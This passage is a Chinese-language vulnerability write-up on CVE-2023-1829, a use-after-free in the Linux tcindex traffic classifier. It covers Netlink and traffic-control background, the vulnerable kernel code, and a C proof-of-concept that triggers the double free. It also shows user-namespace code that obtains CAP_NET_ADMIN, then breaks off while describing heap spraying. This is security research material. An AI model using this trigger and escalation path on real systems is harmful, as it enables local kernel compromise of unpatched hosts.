背景
漏洞的发现和分析是网络安全研究的关键部分。今天,我们将深入探讨CVE-2023-1829,这是Valis发现的cls_tcindex网络流量分类器中的一个漏洞。我们将探索利用和检查此漏洞的过程,揭示其复杂细节和潜在后果。我们已在Ubuntu 22.04(内核版本5.15.0-25,从官方5.15.0-25.25源代码构建)上全面测试了我们的利用代码。
Netlink概述
Netlink是一个套接字域,旨在促进Linux内核内的进程间通信(IPC),特别是在内核和用户程序之间。它被开发用于替换过时的ioctl()接口,并通过AF_NETLINK域中的标准套接字提供更通用的通信方法。
通过Netlink,用户程序可以与各种内核系统交换消息,包括网络、路由和系统配置。特别是Netlink路由,专注于管理和操作Linux内核中的路由表。
这方面为配置和控制系统路由行为提供了强大的接口。它涵盖网络路由、IP地址、链路参数、邻居设置、排队规则以及流量类和包分类器。这些功能可以使用NETLINK_ROUTE套接字访问和操作,利用底层的netlink消息框架。
流量控制
流量控制为集成服务和差异化服务支持的发展提供了一个框架。它由排队规则、类和过滤器/策略组成。Linux流量控制服务非常灵活,允许不同块的分层级联以实现流量资源共享。
上图展示了出口流量控制(TC)块的一个实例。在此过程中,包经过过滤以确定其潜在的类成员资格。类代表终端排队规则,并伴随相应的队列。队列可能采用简单算法,如先进先出(FIFO),或更复杂的方法,如随机早期检测(RED)或令牌桶机制。在最高级别,父排队规则(通常与调度器关联)监督整个系统。在此调度器层次结构中,可以找到额外的调度算法,为Linux出口流量控制提供了显著的灵活性。
在Netlink框架内,流量控制主要由NETLINK_ROUTE系列处理,并与一些netlink消息类型关联:
-
通用网络环境操作服务:
- 链路层接口设置:由RTM_NETLINK、RTM_DELLINK和RTM_GETLINK标识。
- 网络层(IP)接口设置:RTM_NEWADDR、RTM_DELADDR和RTM_GETADDDR。
- 网络层路由表:RTM_NEWROUTE、RTM_DELROUTE和RTM_GETROUTE。
- 关联网络层和链路层寻址的邻居缓存:RTM_NEWNEIGH、RTM_DELNEIGH和RTM_GETNEIGH。
-
流量整形(管理)服务:
- 指导网络层包的路由规则:RTM_NEWRULE、RTM_DELRUTE和RTM_GETRULE。
- 与网络接口关联的排队规则设置:RTM_NEWQDISC、RTM_DELQDISC和RTM_GETQDISC。
- 与队列一起使用的流量类:RTM_NEWTCLASS、RTM_DELTCLASS和RTM_GETTCLASS。
- 与排队关联的流量过滤器:RTM_NEWFILTER、RTM_DELFILTER和RTM_GETFILTER。
更多细节请参阅此博客文章。
排队规则
排队规则是用于控制网络接口或路由器内包流的机制。它们在根据特定规则或策略组织和调度包传输方面起着关键作用。此外,排队规则提供两个基本操作:enqueue()和dequeue()。
每当网络包从网络堆栈通过物理或虚拟设备发送出去时,它被放入排队规则,除非设备设计为无队列。enqueue()操作立即将包添加到适当的队列,随后是来自同一排队规则的dequeue()调用。此dequeue()操作负责从队列中检索包,然后可以由驱动程序调度传输。
如果qdisc是类ful qdisc,用户可以灵活创建自己的排队结构和分类过程。
Linux提供各种排队规则,可应用于网络接口。一些常用排队规则包括:
- 先进先出(FIFO):这是最简单的排队规则,包按到达顺序传输。它不提供任何优先级或流量整形能力。
- 分层令牌桶(HTB):HTB是一种分层排队规则,允许创建具有不同带宽分配的流量类和子类。它为管理带宽和优先级提供了灵活的分层结构。
- 基于类的排队(CBQ):CBQ是一种更高级的排队规则,允许管理员定义具有不同优先级、带宽分配和延迟保证的流量类。它支持分层结构,并提供对流量整形和优先级的细粒度控制。
- 差异化服务标记(DSMARK):DSMARK用于基于差异化服务(DiffServ)代码点的流量分类和包标记。它使管理员能够用特定DiffServ代码点标记包,允许下游路由器和设备相应地优先处理和处理包。通过应用DSMARK,网络管理员可以根据分配的代码点为不同流量类实现差异化处理和服务质量(QoS)策略。
过滤器
过滤器是一个组件,使用户能够在qdisc(排队规则)内分类包并对它们应用特定操作或处理。通过过滤器,您可以根据包的特征或特定标准精确确定应如何处理或引导包。
当包进入qdisc时,它们经过过滤器评估以确定其分类和后续处理,如[图1]所示。过滤器能够使用各种标准匹配包,如源/目标IP地址、端口号、协议或其他包属性。
一旦包满足过滤器指定的标准,它会触发关联的操作。这些操作可以包括丢弃包、将其转发到指定队列或qdisc、用特定属性标记它,或应用速率限制和流量整形规则。
过滤器通常链接到父qdisc并以分层结构组织。此层次结构支持不同级别的分类和处理,使您能够对包的处理方式施加细粒度控制。
使用NETLINK_ROUTE
如前所述,我们有兴趣使用NETLINK_ROUTE,它依赖于netlink消息。现在是深入了解与netlink交互过程的绝佳时机。
Netlink消息
Netlink使用标准BSD套接字操作。每个netlink消息由两部分组成:Netlink头和协议头。以下是netlink头消息的结构:
或在源代码中:
1
2
3
4
5
6
7
|
struct nlmsghdr {
__u32 nlmsg_len;
__u16 nlmsg_type;
__u16 nlmsg_flags;
__u32 nlmsg_seq;
__u32 nlmsg_pid;
};
|
- 长度:整个消息的长度,包括头。
- 类型:Netlink系列ID
- 标志:执行或转储
- 序列:序列号
- 端口ID:标识发送包的程序
nlmsg_len字段指示消息的总长度,包括头。nlmsg_type字段指定消息内内容的类型。nlmsg_flags字段保存与消息关联的附加标志。nlmsg_seq字段用于匹配请求与相应响应。最后,nlmsg_pid字段存储端口ID。
通过理解netlink头消息的结构,您可以有效利用netlink在不同进程或内核模块之间建立通信。
大多数字段相当直接,类型字段将我们引导到内核源代码中的特殊端点函数处理程序。例如,对于RTM_NEWQDISC、RTM_DELQDISC类型:
1
2
|
rtnl_register(PF_UNSPEC, RTM_NEWQDISC, tc_modify_qdisc, NULL, 0);
rtnl_register(PF_UNSPEC, RTM_DELQDISC, tc_get_qdisc, NULL, 0);
|
Netlink负载
Netlink提供了一个属性系统,用于编码带有类型和长度等信息的数据。属性的使用允许数据验证,并提供了在不破坏向后兼容性的情况下扩展协议的所谓简单方法。
Netlink提供了一种使用所谓的“属性验证策略”来验证消息格式是否正确的方法,由struct nla_policy表示。
在理解如何使用NET_ROUTE通信后,我们将继续讨论tc_index过滤器中的漏洞,并提供如何利用它的详细解释。
漏洞分析
CVE-2023-1829是在删除完美哈希过滤器时的use-after-free。在tcindex分类器中实现了两种不同的哈希方法。
完美哈希用于有限范围的输入键,并在用户在分类器创建期间指定足够小的掩码/哈希参数时选择。默认使用不完美哈希。
已发现完美哈希的实现存在几个问题,特别是在与操作等扩展一起使用时。漏洞位于tcindex_delete()函数中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
static int tcindex_delete(struct tcf_proto *tp, void *arg, bool *last,
bool rtnl_held, struct netlink_ext_ack *extack)
{
struct tcindex_data *p = rtnl_dereference(tp->root);
struct tcindex_filter_result *r = arg;
struct tcindex_filter __rcu **walk;
struct tcindex_filter *f = NULL;
pr_debug("tcindex_delete(tp %p,arg %p),p %p\n", tp, arg, p);
if (p->perfect) { // [1]
if (!r->res.class)
return -ENOENT;
} else {
int i;
for (i = 0; i < p->hash; i++) {
walk = p->h + i;
for (f = rtnl_dereference(*walk); f;
walk = &f->next, f = rtnl_dereference(*walk)) {
if (&f->result == r)
goto found;
}
}
return -ENOENT;
found:
rcu_assign_pointer(*walk, rtnl_dereference(f->next)); // [2]
}
tcf_unbind_filter(tp, &r->res);
/* all classifiers are required to call tcf_exts_destroy() after rcu
* grace period, since converted-to-rcu actions are relying on that
* in cleanup() callback
*/
if (f) {
if (tcf_exts_get_net(&f->result.exts))
tcf_queue_work(&f->rwork, tcindex_destroy_fexts_work);
else
__tcindex_destroy_fexts(f);
} else {
tcindex_data_get(p);
if (tcf_exts_get_net(&r->exts))
tcf_queue_work(&r->rwork, tcindex_destroy_rexts_work);
else
__tcindex_destroy_rexts(r);
}
*last = false;
return 0;
}
|
在不完美哈希的情况下,我们观察到与结果r关联的过滤器在[2]处从指定哈希表中移除。然而,对于完美哈希在[1]处,没有采取任何操作来删除或停用过滤器。由于f在不完美哈希的情况下从未设置,函数tcindex_destroy_rexts_work()将被调用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
static void tcindex_destroy_rexts_work(struct work_struct *work)
{
struct tcindex_filter_result *r;
r = container_of(to_rcu_work(work),
struct tcindex_filter_result,
rwork);
rtnl_lock();
__tcindex_destroy_rexts(r);
rtnl_unlock();
}
static void __tcindex_destroy_rexts(struct tcindex_filter_result *r)
{
tcf_exts_destroy(&r->exts);
tcf_exts_put_net(&r->exts);
tcindex_data_put(r->p);
}
void tcf_exts_destroy(struct tcf_exts *exts)
{
#ifdef CONFIG_NET_CLS_ACT
if (exts->actions) {
tcf_action_destroy(exts->actions, TCA_ACT_UNBIND);
printk("free exts->actions: %px\n", exts->actions);
kfree(exts->actions); // [3]
}
exts->nr_actions = 0;
#endif
}
EXPORT_SYMBOL(tcf_exts_destroy);
|
一旦调用tcf_exts_destroy()函数,exts->actions将在索引[3]处被释放。但是,它不会从过滤器中停用,这意味着指针仍然可以被销毁函数访问。这种情况创建了一个use-after-free块,称为完美哈希过滤器。
概念验证
以下代码片段演示了在本地链路网络中创建新排队规则的过程。这涉及引入新类并使用预定义操作实现tc_index过滤器。
随后,尝试使用完美哈希方法移除此过滤器。然而,尽管删除,扩展操作(exts->actions)指针仍然与过滤器关联,开发人员忘记清理此指针。要触发Use-After-Free块,下一步涉及删除队列中的链,调用链如:tc_ctl_chain -> tcf_exts_destroy。此函数无意中第二次释放exts->actions,最终导致后续操作中的内核恐慌。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
|
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <time.h>
#include <linux/if_ether.h>
#include <linux/tc_act/tc_mirred.h>
#include <linux/netlink.h>
#include <net/if.h>
#include <linux/rtnetlink.h>
#include "rtnetlink.h"
#include "modprobe_path.h"
#include "setup.h"
#include "cls.h"
#include "log.h"
#include "local_netlink.h"
#include "keyring.h"
#include "uring.h"
int main()
{
int pid, client_pid, race_pid;
struct sockaddr_nl snl;
char link_name[] = "lo\0"; // tunl0 sit0 br0
pthread_t thread[3];
int iret[3];
uint64_t sock;
unsigned int link_id, lo_link_id;
char *table_name = NULL, *obj_name=NULL, *table_object=NULL, *table_name2=NULL;
uint64_t value[32];
uint64_t addr_value = 0;
uint64_t table_uaf = 0;
uint64_t *buf_leak = NULL;
struct mnl_socket *nl = NULL;
int found = 0, idx_table = 1;
uint64_t obj_handle = 0;
srand(time(NULL));
assign_to_core(DEF_CORE);
if (setup_sandbox() < 0){
errout("[-] setup faild");
}
puts("[+] Get CAP_NET_ADMIN capability");
save_state();
nl = mnl_socket_open(NETLINK_NETFILTER);
if (!nl){
errout("mnl_socket_open");
}
puts("[+] Open netlink socket ");
/* classifiers netlink socket creation */
if ((sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)) < 0) {
errout("socket");
}
/* source netlink sock */
memset(&snl, 0, sizeof(snl));
snl.nl_family = AF_NETLINK;
snl.nl_pid = getpid();
if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0)
errout("bind");
/* ========================Enable lo interface=======================================*/
// rt_newlink(sock, link_name);
link_id = rt_getlink(sock, link_name);
printf("[+] link_id: 0x%x\n", link_id);
rt_setlink(sock, link_id);
rt_newqdisc(sock, link_id, 0x10000);
rt_addclass(sock, link_id, 0x00001); // class
rt_addfilter(sock, link_id, 2, 1);
/* =============================================================== */
rt_delfilter(sock, link_id, 1);
sleep(3);
/* =============================================================== */
// Free exts->actions part 2 leads to UAF
puts("[+] Destroy exts->actions part 2");
rt_delchain(sock, link_id); // delete exts->actions -> it calls tcindex_destroy()
return 0;
}
|
利用
利用在运行Ubuntu 22.04(内核版本5.15.0-25,从官方5.15.0-25.25内核源代码编译)的系统上进行。
要利用此漏洞,我们可以获得一个无特权的用户命名空间,该空间授予我们强大的CAP_NET_ADMIN能力。幸运的是,此能力可以通过用户命名空间(CONFIG_USER_NS)获得。用户命名空间通过引入新的攻击机会,近年来彻底改变了Linux内核利用。在开发利用脚本时,我们可以使用unshare函数创建新的网络命名空间,即使是作为无特权用户。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
/* For unprivileged user can communicate with netlink */
if (unshare(CLONE_NEWUSER) < 0)
{
perror("[-] unshare(CLONE_NEWUSER)");
return -1;
}
/* Network namespaces provide isolation of the system resources */
if (unshare(CLONE_NEWNET) < 0)
{
perror("[-] unshare(CLONE_NEWNET)");
return -1;
}
|
如何解决回收UAF块时的不稳定问题
尽管我们尝试利用此漏洞,但在回收所需的特殊UAF块时遇到了困难。我们尝试喷洒大量对象以克服此障碍,但我们的努力始终以失败告终。
我们使用一个有用的工具libslub,由NCC组开发,用于分析slab缓存状态。我们感谢NCC组提供此工具。
在我们的场景